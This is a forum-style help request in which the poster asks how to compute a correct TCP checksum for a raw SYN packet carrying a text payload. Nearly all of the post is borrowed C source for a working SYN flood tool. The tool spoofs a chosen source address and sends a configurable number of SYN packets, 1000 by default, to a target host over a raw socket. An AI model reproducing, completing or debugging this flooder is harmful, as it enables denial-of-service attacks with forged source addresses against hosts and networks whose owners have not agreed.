I am trying to write a raw Syn packet that contains data, like "hello" or "whats up". I can add the data to the packet with the addition of char data[9], but I cant recalculate the TCP Checksum. Its always incorrect. I am using ethereal to compare values. What do I have to do in order to have a correct TCP checksum with the addition of a data payload? The following is the (not mine) code:
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <linux/ip.h>
#include <linux/tcp.h>
void hose_trusted(unsigned int, unsigned int, unsigned short, int);
unsigned short in_cksum(unsigned short *, int);
unsigned int host2ip(char *);
main(int argc, char **argv)
{
unsigned int srchost;
unsigned int dsthost;
unsigned short port=80;
unsigned int number=1000;
if(argc < 3)
{
printf("%s srchost dsthost port num\n", argv[0]);
exit(0);
}
srchost = host2ip(argv[1]);
dsthost = host2ip(argv[2]);
if(argc >= 4) port = atoi(argv[3]);
if(argc >= 5) number = atoi(argv[4]);
if(port == 0) port = 80;
if(number == 0) number = 1000;
printf("synflooding %s from %s port %u %u times\n", argv[2], argv[1], port, number);
hose_trusted(srchost, dsthost, port, number);
}
void hose_trusted(unsigned int source_addr, unsigned int dest_addr, unsigned short dest_port, int numsyns)
{
struct send_tcp
{
struct iphdr ip;
struct tcphdr tcp;
char data[9];
} send_tcp;
memset(send_tcp.data, 0, sizeof(send_tcp.data));
strcpy(send_tcp.data, "hello");
struct pseudo_header
{
unsigned int source_address;
unsigned int dest_address;
unsigned char placeholder;
unsigned char protocol;
unsigned short tcp_length;
struct tcphdr tcp;
} pseudo_header;
int i;
int tcp_socket;
struct sockaddr_in sin;
int sinlen;
/* form ip packet */
send_tcp.ip.ihl = 5;
send_tcp.ip.version = 4;
send_tcp.ip.tos = 0;
send_tcp.ip.tot_len = htons(40);
send_tcp.ip.id = getpid();
send_tcp.ip.frag_off = 0;
send_tcp.ip.ttl = 255;
send_tcp.ip.protocol = IPPROTO_TCP;
send_tcp.ip.check = 0;
send_tcp.ip.saddr = source_addr;
send_tcp.ip.daddr = dest_addr;
/* form tcp packet */
send_tcp.tcp.source = getpid();
send_tcp.tcp.dest = htons(dest_port);
send_tcp.tcp.seq = getpid();
send_tcp.tcp.ack_seq = 0;
send_tcp.tcp.res1 = 0;
send_tcp.tcp.doff = 5;
send_tcp.tcp.fin = 0;
send_tcp.tcp.syn = 1;
send_tcp.tcp.rst = 0;
send_tcp.tcp.psh = 0;
send_tcp.tcp.ack = 0;
send_tcp.tcp.urg = 0;
send_tcp.tcp.res2 = 0;
send_tcp.tcp.window = htons(512);
send_tcp.tcp.check = 0;
send_tcp.tcp.urg_ptr = 0;
/* setup the sin struct */
sin.sin_family = AF_INET;
sin.sin_port = send_tcp.tcp.source;
sin.sin_addr.s_addr = send_tcp.ip.daddr;
/* (try to) open the socket */
tcp_socket = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if(tcp_socket < 0)
{
perror("socket");
exit(1);
}
for(i=0;i < numsyns;i++)
{
/* set fields that need to be changed */
send_tcp.tcp.source++;
send_tcp.ip.id++;
send_tcp.tcp.seq++;
send_tcp.tcp.check = 0;
send_tcp.ip.check = 0;
/* calculate the ip checksum */
send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
/* set the pseudo header fields */
pseudo_header.source_address = send_tcp.ip.saddr;
pseudo_header.dest_address = send_tcp.ip.daddr;
pseudo_header.placeholder = 0;
pseudo_header.protocol = IPPROTO_TCP;
pseudo_header.tcp_length = htons(20);
bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32);
sinlen = sizeof(sin);
sendto(tcp_socket, &send_tcp, 40, 0, (struct sockaddr *)&sin, sinlen);
}
close(tcp_socket);
}
unsigned short in_cksum(unsigned short *ptr, int nbytes)
{
register long sum; /* assumes long == 32 bits */
u_short oddbyte;
register u_short answer; /* assumes u_short == 16 bits */
/*
* Our algorithm is simple, using a 32-bit accumulator (sum),
* we add sequential 16-bit words to it, and at the end, fold back
* all the carry bits from the top 16 bits into the lower 16 bits.
*/
sum = 0;
while (nbytes > 1) {
sum += *ptr++;
nbytes -= 2;
}
/* mop up an odd byte, if necessary */
if (nbytes == 1) {
oddbyte = 0; /* make sure top half is zero */
*((u_char *) &oddbyte) = *(u_char *)ptr; /* one byte only */
sum += oddbyte;
}
/*
* Add back carry outs from top 16 bits to low 16 bits.
*/
sum = (sum >> 16) + (sum & 0xffff); /* add high-16 to low-16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* ones-complement, then truncate to 16 bits */
return(answer);
}
unsigned int host2ip(char *hostname)
{
static struct in_addr i;
struct hostent *h;
i.s_addr = inet_addr(hostname);
if(i.s_addr == -1)
{
h = gethostbyname(hostname);
if(h == NULL)
{
fprintf(stderr, "cant find %s!\n", hostname);
exit(0);
}
bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
}
return i.s_addr;
}
This is really bothering me. Please help!
-GSD
